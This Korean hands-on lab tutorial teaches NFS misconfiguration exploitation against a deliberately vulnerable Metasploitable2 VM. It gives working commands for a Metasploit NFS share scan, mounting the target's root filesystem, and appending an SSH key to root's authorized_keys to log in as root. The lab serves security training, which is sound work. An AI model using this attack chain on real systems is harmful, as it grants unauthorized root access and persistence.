Nmap 을 이용한 NFS 구성 오류 악용으로 Root 권한 획득

NmapBeginner
지금 연습하기

소개

네트워크 파일 시스템 (NFS) 은 사용자가 원격 파일을 로컬 파일처럼 접근할 수 있게 해주는 분산 파일 시스템 프로토콜입니다. 하지만 NFS 를 부적절하게 설정하면 심각한 보안 취약점이 발생하여 공격자가 시스템에 무단으로 접근할 수 있습니다. 이 랩에서는 NFS 설정 오류를 악용하여 대상 시스템에 root 권한으로 접근하는 방법을 배우게 됩니다.

이 랩의 목표는 NFS 설정 오류와 관련된 위험을 이해하고, NFS 기반 공격을 성공적으로 수행하는 방법을 배우는 것입니다. 랩을 완료하면 NFS 공유를 식별하고, 로컬에서 마운트하며, 설정 오류를 활용하여 대상 시스템에서 root 권한을 획득하는 실질적인 경험을 얻게 될 것입니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 88%입니다.학습자들로부터 83%의 긍정적인 리뷰율을 받았습니다.

NFS 공유 스캔

이 단계에서는 Metasploit Framework 를 사용하여 대상 시스템에서 NFS 공유를 스캔합니다.

이제 실험을 위해 공격 머신 (Kali Linux 컨테이너) 과 대상 머신 (Metasploitable2 가상 머신) 을 시작합니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. 다음 명령을 실행하여 Kali Linux 컨테이너를 시작하고 bash 환경에 들어갑니다.
docker run -ti --network host --privileged b5b709a49cd5 bash

추가적인 --privileged 매개변수가 있습니다. 이 매개변수는 컨테이너 내부의 root 가 실제 root 권한을 갖도록 사용됩니다. 그렇지 않으면 컨테이너 내부의 root 는 외부 권한을 가진 일반 사용자일 뿐입니다. --privileged 매개변수를 사용하여 컨테이너를 시작하면 호스트의 많은 장치를 볼 수 있고 mount를 수행할 수 있으며, docker 컨테이너 내에서 docker 컨테이너를 시작할 수도 있습니다.

  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.

  1. 이제 Metasploit 콘솔을 시작합니다.
cd ~
msfconsole
  1. Metasploit 콘솔에서 auxiliary/scanner/nfs/nfsmount 모듈을 사용하여 NFS 공유를 스캔합니다.
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit

이 모듈은 대상 시스템을 스캔하고 내보낸 NFS 공유를 표시합니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

NFS 공유 마운트

이 단계에서는 Kali 컨테이너에서 NFS root 공유를 마운트합니다.

먼저 nfs-common 패키지를 설치합니다.

cd /
apt-get install -y nfs-common

NFS root 공유를 마운트합니다.

mount -t nfs -o nolock 192.168.122.102:/ /mnt

이 명령은 대상 시스템의 root 디렉토리 (/) 를 Kali 컨테이너의 /mnt 디렉토리에 마운트합니다.

/mnt 디렉토리의 내용을 나열하여 NFS 공유가 올바르게 마운트되었는지 확인합니다.

ls /mnt

대상 시스템의 root 디렉토리 내용이 표시되어야 합니다.

SSH 키 페어 생성

이 단계에서는 대상 시스템에 대한 암호 없는 SSH 액세스를 활성화하기 위해 SSH 키 쌍을 생성합니다.

SSH 키 쌍을 생성합니다.

ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa

이 명령은 /root/.ssh/id_rsa (개인 키) 와 /root/.ssh/id_rsa.pub (공개 키) 의 두 파일을 생성합니다.

비밀번호 없는 SSH 접속 활성화

이 단계에서는 공개 키를 대상 시스템의 authorized keys 파일에 추가하여 암호 없는 SSH 액세스를 활성화합니다.

공개 키를 대상 시스템의 authorized keys 파일에 복사합니다.

cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys

이 명령은 공개 키 파일의 내용을 대상 시스템의 /root/.ssh/authorized_keys 파일에 추가합니다.

루트 권한 획득

이 단계에서는 암호 없는 SSH 액세스를 사용하여 대상 시스템에서 root 사용자로 로그인합니다.

SSH 를 사용하여 대상 시스템에 연결합니다.

ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss root@192.168.122.102

이제 암호를 묻지 않고 대상 시스템에서 root 셸을 갖게 됩니다.

요약

이 랩에서는 NFS (Network File System) 구성 오류를 악용하여 대상 시스템에 무단 root 액세스를 얻는 방법을 배웠습니다. 먼저 Metasploit Framework 를 사용하여 NFS 공유를 스캔한 다음, 로컬 머신에 NFS root 공유를 마운트했습니다. 다음으로 SSH 키 쌍을 생성하고 공개 키를 대상 시스템의 authorized keys 파일에 추가하여 암호 없는 SSH 액세스를 활성화했습니다. 마지막으로 암호 없는 SSH 액세스를 사용하여 대상 시스템에서 root 사용자로 로그인했습니다.

이 랩은 NFS 공유를 적절하게 구성하는 것의 중요성과 구성 오류와 관련된 잠재적 위험을 보여주었습니다. 이러한 취약점을 이해함으로써 시스템을 더 잘 보호하고 잠재적인 공격으로부터 보호할 수 있습니다.